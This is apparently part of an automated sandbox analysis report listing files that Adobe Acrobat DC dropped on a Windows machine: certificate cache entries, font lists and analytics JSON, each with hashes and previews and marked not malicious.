Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7282048283587708
Encrypted:	false
SSDEEP:	3:kkFklDRnUDGpttfllXlE/HT8k2nzXNNX8RolJuRdxLlGB9lQRYwpDdt:kK1DGpteT8JNMa8RdWBwRd
MD5:	1A2BD6181B23C134345DB2747F6E6F8D
SHA1:	B6E7D64F2980B82AB61635F4E1AC37E8629ECDFA
SHA-256:	A8DCF5784E8A7C737C35CE60D0F097ED05AF71238D13F8D699614E52B115A8A2
SHA-512:	158174B86ECA0045491A61D1428136083EFADEB070D1FACDDB5F8726A321CA5400014A6246956B9A65300965BC642421ADF142A46DC41FF7DD488BCF8C4533C5
Malicious:	false
Preview:	p...... ........p....c..(....................................................... ..........W.....j..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKGftL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:UtiDImsLNkPlE99SNxAhUe/3
MD5:	514A9BC3A15970519BEC8158D34A60EC
SHA1:	0671BD1D2366BB2F2365E94276C135A5C3FAABB9
SHA-256:	F2CC1BA921BE2C8FC15A21B0AD1EFC478D5BA684E8706FD58763D6572C3327A0
SHA-512:	9D1008B891AF4BBFBE21B6967B10E986C4A76245392A4F660985E33A88F95738F5A5B8E0BE8ABC121F568845195C168777AABE1E9C019DC066BB0874C7F61644
Malicious:	false
Preview:	p...... ..........O..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6336

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6336

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.326149642411052
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7SwA4WKYvB3/dVlPIHAR0Y+KveoAvJM3g98kUwPeUkwRe9:YvXKX7SwXWpvR/ZwHAaKvVGMbLUkee9
MD5:	8B6B366A2C9C336AC5C1C30649174247
SHA1:	F068DA45BE43D3CDD321CF872143CC446E319A89
SHA-256:	715E1874A5239C366B0356043399E2B0ED310E9D3E476A0181609465D55F60E8
SHA-512:	03824A5D5167307262D96DDB29AF13439A5A8829A53FDFAE607A93B78D5CC57D5E28DA198D267D026CD4F67D5D4A998C4BE2A3246C2969CA7C041A90F34327A4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"167116ec-1220-466c-90dc-24cce7357807","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748369078,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2625138939776654
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7SwA4WKYvB3/dVlPIHAR0Y+KveoAvJfBoTfXpnrPeUkwRe9:YvXKX7SwXWpvR/ZwHAaKvVGWTfXcUke6
MD5:	5ECB92E3B4FFE14C6ECE01AB9111016D
SHA1:	5315188C0A3D87C9E9ADE2014FC0CFC0E7F6CA97
SHA-256:	3E136DD86F3693BD9870E08195599A3F77AD5D120CD5479EE7FED05D57B26A57
SHA-512:	8A44BE78654F41D32079DE77E32C9CF0EE7F5AC3500AD8E5ADCB762028B06DE954F7B3AC7796CF40A956CA8548D5A3F7C785AB39777B231D3234D0CF2EBD9A83
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"167116ec-1220-466c-90dc-24cce7357807","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748369078,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.23992415668844
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7SwA4WKYvB3/dVlPIHAR0Y+KveoAvJfBD2G6UpnrPeUkwRe9:YvXKX7SwXWpvR/ZwHAaKvVGR22cUkee9
MD5:	A8CDD81E80D61890EB36A26DD2016FAC
SHA1:	D4C573DCE2296513959B3DD23AC60AB87FB24887
SHA-256:	E9FAFA19167216EFBEAB8CD81AD25ADE90017561631043A5DAF590E874218127
SHA-512:	553D88225B9532E9F0D9EDF5DC33416E243AC55F4E2EB724034CF5B8C70559E016A7A62ECE67E82B7B187A9A0A0E03762F6C6F1A9C78825E49981DBEA278864B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"167116ec-1220-466c-90dc-24cce7357807","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748369078,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.301792443556132
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7SwA4WKYvB3/dVlPIHAR0Y+KveoAvJfPmwrPeUkwRe9:YvXKX7SwXWpvR/ZwHAaKvVGH56Ukee9
MD5:	B60CE73A76A360376097190E3505E3BC
SHA1:	EDAC81416043A640D295F79D27334A98433FF261
SHA-256:	DD38880027B13782B5AB431E1E3CCFDC1D3760591AECCEE4465B1F7724E8F7E5
SHA-512:	1FF377574C9FDED93D95F1064BA6A2F6D6A7BA6A25FAC010ADAC56D42A6FD9B2AEF751D6A3D96B74E13A748B89F692C29B7AA5E5642AD89AA3DD44D3A2C6FA84
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"167116ec-1220-466c-90dc-24cce7357807","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748369078,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691928209269139
Encrypted:	false
SSDEEP:	24:Yv6X7HGpJh+Kv6pLgE9cQx8LennAvzBvkn0RCmK8czOCCS0:YvqmJh+Kihgy6SAFv5Ah8cv/0
MD5:	A850825FF6DA97D19E1B1AD83237105C
SHA1:	E791C9903BA94C8A076F4045C86F99E8A49BDC6A
SHA-256:	03081CEC4E225BF3296B8C0DA7D2B8F65F4AA7C3A5D9FABD2875FF2A2C256CF2
SHA-512:	5AAFF32F4F449D8BBF4FA7C9DE8BE804B4BC6D56E1CE064B5FCE003BF92D5780C365E4F24F47589ACE11E7730C815D71E45CC89E6B63E106EDC039DA10603104
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"167116ec-1220-466c-90dc-24cce7357807","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748369078,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2510042199223275
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7SwA4WKYvB3/dVlPIHAR0Y+KveoAvJf8dPeUkwRe9:YvXKX7SwXWpvR/ZwHAaKvVGU8Ukee9
MD5:	802E03C703E786E3367D6837C38821CE
SHA1:	FC475BD810A3CB86C7071E37467E4F96C51E75FD
SHA-256:	56A49EA529250EEA11C8CC6D230CF5D38BF9DE20BCAB5D0CBE8B3C213E908032
SHA-512:	8DBFFC4EFFD6AF82078F6B1504C2AF1D98446581B0058B8E06E0735531FDB67E4DEAAEBE9494EA92D5B0359642B922B862F2643D7A059CA116A82DEAE9F6D864
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"167116ec-1220-466c-90dc-24cce7357807","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748369078,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.249257145237971
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7SwA4WKYvB3/dVlPIHAR0Y+KveoAvJfQ1rPeUkwRe9:YvXKX7SwXWpvR/ZwHAaKvVGY16Ukee9
MD5:	2EC16ECCDDC83E2501F456E2715B0B14
SHA1:	E8F44BE397F479680EBE10CD4C3D2D4EBAC7046D
SHA-256:	7E2FFF24F6BBDD0AD6E90248CF31E6BC6400CA8197A4DC94F84BAFE065BAF775
SHA-512:	B0497E6DA7B54FC34B6C706D88907C42852E9721BFB9306A54957307899AFCAA803893AA3940C6BE47BDDDFA5AE10623BC3391D294B9E48E8340468CE02264FC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"167116ec-1220-466c-90dc-24cce7357807","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748369078,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.267732279952181
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7SwA4WKYvB3/dVlPIHAR0Y+KveoAvJfFldPeUkwRe9:YvXKX7SwXWpvR/ZwHAaKvVGz8Ukee9
MD5:	CE5B3D5C9B382146B9473A1E9527CFAD
SHA1:	91A33012DDA9E0291E3B27855A866DFB6541FD3F
SHA-256:	FD7F6C89BFEDC83D9C49DE0425E5F4E6B786927196C26124B315F231BE82F8D7
SHA-512:	3A84843DBC6D3910C51ED6D99BB9857837F195EB9F0D265ED81C02E23F0865345BF2EEACC88CDF2B666C539CF8BDB35B12891D9692C17088736E65396BC73458
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"167116ec-1220-466c-90dc-24cce7357807","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748369078,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.281843876444983
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7SwA4WKYvB3/dVlPIHAR0Y+KveoAvJfzdPeUkwRe9:YvXKX7SwXWpvR/ZwHAaKvVGb8Ukee9
MD5:	D3FCA69581F5B47E49F9119351716FB4
SHA1:	19D298ADB33601E74912EDD82AE7380C4768D910
SHA-256:	EA8484C920FE1DF87DB61F8AF94C04B6BE882F68EB5B8214253A1DE4E38F98E9
SHA-512:	70CFA1CB63C17806A764F46418F140FC68DD71273D1760B66C0C3CFA5770E0A4B5DC8C4578F435879A7C7CE2B0EE12D9F7CDCA1EFBAB18D2AC880C7B039EDA1D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"167116ec-1220-466c-90dc-24cce7357807","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748369078,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.261102639545052
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7SwA4WKYvB3/dVlPIHAR0Y+KveoAvJfYdPeUkwRe9:YvXKX7SwXWpvR/ZwHAaKvVGg8Ukee9
MD5:	E241E5F1ADFDF5E5C0A069416938AC15
SHA1:	263710669D5291DFFEB95952733736F7A19D2C30
SHA-256:	CF13D1D3F153AAD0726F6F418DDC47D8AAE22B2F68C1FD704517E6A5FC4045E3
